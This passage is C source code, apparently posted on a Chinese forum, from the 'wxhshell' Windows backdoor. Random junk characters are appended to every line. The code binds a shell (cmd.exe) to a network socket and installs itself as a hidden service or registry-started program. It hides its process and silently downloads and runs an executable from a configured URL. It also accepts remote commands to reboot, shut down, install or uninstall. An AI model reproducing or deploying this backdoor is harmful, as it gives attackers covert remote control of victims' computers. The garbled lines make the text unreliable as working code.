  else { i3WmD@  
u2\qg;dP  
    switch(cmd[0]) { Fea\ eB  
  Jn[ K0GV  
  // 帮助 c\rbLr}l)  
  case '?': { 5pyvs;As  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); <cOE6;d#  
    break; uV:uXQni``  
  } 7[<sl35  
  // 安装 &,kB7r"  
  case 'i': { I;4CvoT  
    if(Install()) `1v!sSR0R  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $aI MQ[(  
    else \gQ+@O&+  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _89G2)U=C  
    break; fQA)r  
    } umrI4.1c  
  // 卸载 2o5< nGn  
  case 'r': { ?4?jG3p  
    if(Uninstall()) Mz. &d:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fJ lN'F7  
    else >!p K94  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &!~n=]*sz  
    break; `.-k%2?/  
    } [hj'Yg8{  
  // 显示 wxhshell 所在路径 OQ*. ho  
  case 'p': { %((3'le  
    char svExeFile[MAX_PATH]; K}(n;6\  
    strcpy(svExeFile,"\n\r"); d_qVk4h\  
      strcat(svExeFile,ExeFile); ;xH'%W9z  
        send(wsh,svExeFile,strlen(svExeFile),0); c,%>7U(w_  
    break; !! #ale&  
    } f?^xh  
  // 重启 Xz@;`>8i  
  case 'b': { C$;s+ALy[  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); H 6<@  
    if(Boot(REBOOT)) >-+X;0&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s1apHwJ -  
    else { ;-Dd\\)p  
    closesocket(wsh); S^n4aBm\+  
    ExitThread(0); }4MG114j  
    } sU!q~`; J  
    break; &t:MWb;  
    } k<hO9;#qpL  
  // 关机 6oBt<r?CJ  
  case 'd': { <aD+Ki6  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); `7n,(  
    if(Boot(SHUTDOWN)) .Vjpkt:H  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gbZX'D  
    else { M8Lj*JN  
    closesocket(wsh); r+Cha%&D  
    ExitThread(0); CfnCi_=[`  
    } ne*aC_)bT  
    break; O5%F-}(:  
    } PS]X Lz  
  // 获取shell X0=- {<W  
  case 's': { XArLL5_L  
    CmdShell(wsh); G ~\$Oq8  
    closesocket(wsh); bFXCaD!{G  
    ExitThread(0); V$D d 7  
    break; PelV67?M  
  } HJrg  
  // 退出 Om{ML,d  
  case 'x': { CI{TgL:l  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); =S +:qk  
    CloseIt(wsh); Jev.o]|_,  
    break; R:<AR.)K  
    } M<7*\1  
  // 离开 lV="IP^7  
  case 'q': { e]fC!>w(\  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 1'B?f# s  
    closesocket(wsh); []^>QsS(X  
    WSACleanup(); (o=iX,@'2  
    exit(1); Q{kuB+s  
    break; Y[,C1,  
        } Vi-@z;k  
  } |@|D''u>6  
  } 4B pm{b  
6>%NL"* ]  
  // 提示信息 <O&s 'A[  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); T^SOq:m&  
} gE(03SX  
  } K)Ka"H  
Rznr 9L  
  return; vM8]fSc  
} /n=/WGl  
}]@ "t)"  
// shell模块句柄 jqmP^ZS  
int CmdShell(SOCKET sock) ?yh.*,dgi  
{ d|lzkY~  
STARTUPINFO si; ?-i&6i6Y  
ZeroMemory(&si,sizeof(si)); pqX=l%{4ES  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 5=e@yIr'#  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; $]86w8?-N  
PROCESS_INFORMATION ProcessInfo; <C(2(3  
char cmdline[]="cmd"; ,)8Hl[y  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); >MLqOUr#  
  return 0; ~Q\[b%>J  
} 8a1{x(\z.  
1's^W  
// 自身启动模式 i^Q^F  
int StartFromService(void) cl5:|)  
{ 9m>_q Wa A  
typedef struct C ^'}{K  
{ 3]A'C&  
  DWORD ExitStatus; KxI(# }5o&  
  DWORD PebBaseAddress; SY.V_O$l }  
  DWORD AffinityMask; 5O*$#C;c  
  DWORD BasePriority; ZN/")  
  ULONG UniqueProcessId; J3vuh#  
  ULONG InheritedFromUniqueProcessId; +(T,d]o]  
}   PROCESS_BASIC_INFORMATION; :}cAq/  
elQ44)TrQ  
PROCNTQSIP NtQueryInformationProcess; H6QQ<~_&  
)Q`<O  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; n"vI>_|G  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; &40d J~SQ  
|/Z4lcI  
  HANDLE             hProcess; 6|x<) Gc  
  PROCESS_BASIC_INFORMATION pbi; O,PHAwVG%L  
NO)* UZ  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 4}`MV.  
  if(NULL == hInst ) return 0; ?e*vvu33!  
~$<@:z{*  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Zf! 7pM  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 4l:+>U@KU  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); L;;x%>  
&0myA_So  
  if (!NtQueryInformationProcess) return 0; e %#f9i  
Rp1OC  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); _GS2&|7`  
  if(!hProcess) return 0; H.e@w3+h  
=W?c1EPLCx  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ;#*mB`  
7Uh}|6PU  
  CloseHandle(hProcess); i "xq SLf=  
]|oqJ2P  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); u Wtp2]A  
if(hProcess==NULL) return 0; l }[ 4  
u]"R AH  
HMODULE hMod; n=~?BxB  
char procName[255]; l"64w>,  
unsigned long cbNeeded; #i? TCO  
p O.8>C%  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 1'iRx,  
G(L*8U< UG  
  CloseHandle(hProcess); Al?XJ C B@  
Wp ]u0w  
if(strstr(procName,"services")) return 1; // 以服务启动 5 m:nh<)#  
9;jfg|x1[  
  return 0; // 注册表启动 -HOCxR  
} Z|.z~53;  
$%<gp@Gz  
// 主模块 H!N,PI?rn  
int StartWxhshell(LPSTR lpCmdLine) 3!I8J:GZ:  
{ l[gL(p"W  
  SOCKET wsl; 5|Uub ,  
BOOL val=TRUE; )+J?(&6  
  int port=0; | e+m!G1G  
  struct sockaddr_in door; 15B$Sp!/`e  
ZD*>i=S  
  if(wscfg.ws_autoins) Install(); G:UdU{  
K% ;O$ >  
port=atoi(lpCmdLine); !zeBxR$&o  
^^Y0 \3.  
if(port<=0) port=wscfg.ws_port; IkupW|}rc  
x&sF_<[  
  WSADATA data; ({)_[dJ'  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; q?6Zu:':  
/dO&r'!:  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   M30_b8[Y_  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); w ^A0l.{  
  door.sin_family = AF_INET; M9MEQK  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); e.Ii@<  
  door.sin_port = htons(port); ZyTah\yPM  
IMBqy-q  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { RGcT  
closesocket(wsl); X6PfOep  
return 1; j \SDw  
} W[b/.u5z:  
2- )Ml*  
  if(listen(wsl,2) == INVALID_SOCKET) { wvfCj6}S &  
closesocket(wsl); N24+P5  
return 1; ]HRE-g  
} R1U\/  
  Wxhshell(wsl); iS{)Tll}&  
  WSACleanup(); 1oC/W?l^  
0-QkRr_ I  
return 0; uzsR*x%s-  
s;A]GJ  
} q.*qZ\;K  
SU*P@?:/}  
// 以NT服务方式启动 nC z[#t  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ]M_)f  
{ Vi]D](^!  
DWORD   status = 0; Q)v8hNyUmA  
  DWORD   specificError = 0xfffffff; sQR;!-j  
] O 2_&cs  
  serviceStatus.dwServiceType     = SERVICE_WIN32; T_r[#j  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; *rWE.4=&  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ?Hy++  
  serviceStatus.dwWin32ExitCode     = 0; B]jh$@  
  serviceStatus.dwServiceSpecificExitCode = 0; i cZQv]  
  serviceStatus.dwCheckPoint       = 0; ,L`qV  
  serviceStatus.dwWaitHint       = 0; L&eO?I=,  
9"/{gf3D  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); H94$Xi"Bd  
  if (hServiceStatusHandle==0) return; 9[:nW p^  
luV%_[F  
status = GetLastError(); `toSU>:  
  if (status!=NO_ERROR) kG%<5QH  
{ 4*'NpqC(_  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; lp4sO#>`  
    serviceStatus.dwCheckPoint       = 0; E_$ ST3  
    serviceStatus.dwWaitHint       = 0; BWd?a6nU}  
    serviceStatus.dwWin32ExitCode     = status; -cG?lEh <  
    serviceStatus.dwServiceSpecificExitCode = specificError; <F&S   
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); a"~W1|JC"  
    return; e{"d6pF=  
  } lk8VJ~2d  
YTY0N5["  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; h1,J<B@  
  serviceStatus.dwCheckPoint       = 0; L&l> ?"_  
  serviceStatus.dwWaitHint       = 0; `OduBUI]]  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Y5K!DMK Y  
} LV`- eW  
E]Kd`&^}  
// 处理NT服务事件,比如:启动、停止 7m8L!t9  
VOID WINAPI NTServiceHandler(DWORD fdwControl) d8|:)7PSt  
{ Xa-]+_?Q  
switch(fdwControl) )U8F6GIC&}  
{ |]Ockg[  
case SERVICE_CONTROL_STOP: vh T9#) HI  
  serviceStatus.dwWin32ExitCode = 0; 4iDo.1B"  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; !zD| @sX{  
  serviceStatus.dwCheckPoint   = 0; _w)0r}{  
  serviceStatus.dwWaitHint     = 0; U; ev3  
  { #LF_*a0v  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 1`b?nX  
  } aFKks .n3  
  return; Il!iqDHz3  
case SERVICE_CONTROL_PAUSE: hd+JKh!u  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; F/mD05{  
  break; 8amtTM  
case SERVICE_CONTROL_CONTINUE: d@`yRueWiV  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; #~(@Ka.eA0  
  break; IDv@r\Xw  
case SERVICE_CONTROL_INTERROGATE: ; <3w ,r  
  break; |U12 fuQ  
}; !1|f,9C  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 6? 2/b`k  
} UGl}=hwKkG  
E|#'u^`yv  
// 标准应用程序主函数 'tF<7\!  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) K&Zdk (l)  
{ mh|M O(  
H,] D}r  
// 获取操作系统版本 z^ ~fVl  
OsIsNt=GetOsVer();  Zuwd(q  
GetModuleFileName(NULL,ExeFile,MAX_PATH); BC&Et62*  
g~N)~]0{  
  // 从命令行安装 ~KEnZa0  
  if(strpbrk(lpCmdLine,"iI")) Install(); U edh4qa  
D,]m7 yFT  
  // 下载执行文件 a ipvG  
if(wscfg.ws_downexe) { ] 5c|  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) gn7pIoN  
  WinExec(wscfg.ws_filenam,SW_HIDE); 76xgExOU?C  
} 852$Ui|I  
y=-d*E  
if(!OsIsNt) { ZO:{9vt=/  
// 如果时win9x,隐藏进程并且设置为注册表启动 >pz/wTOi  
HideProc(); -K+grsb g  
StartWxhshell(lpCmdLine); J>x)J}:;  
} 8&H1w9NrX_  
else jt;68SA P  
  if(StartFromService()) 6]na#<  
  // 以服务方式启动 bSBI[S  
  StartServiceCtrlDispatcher(DispatchTable); ("wPkm^  
else CEt_wKz f  
  // 普通方式启动 E/Y.f  
  StartWxhshell(lpCmdLine); wHdq:,0-!  
0W#.$X5  
return 0; e(j"u;=  
}
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只看该作者 1 发表于: 2006-10-10
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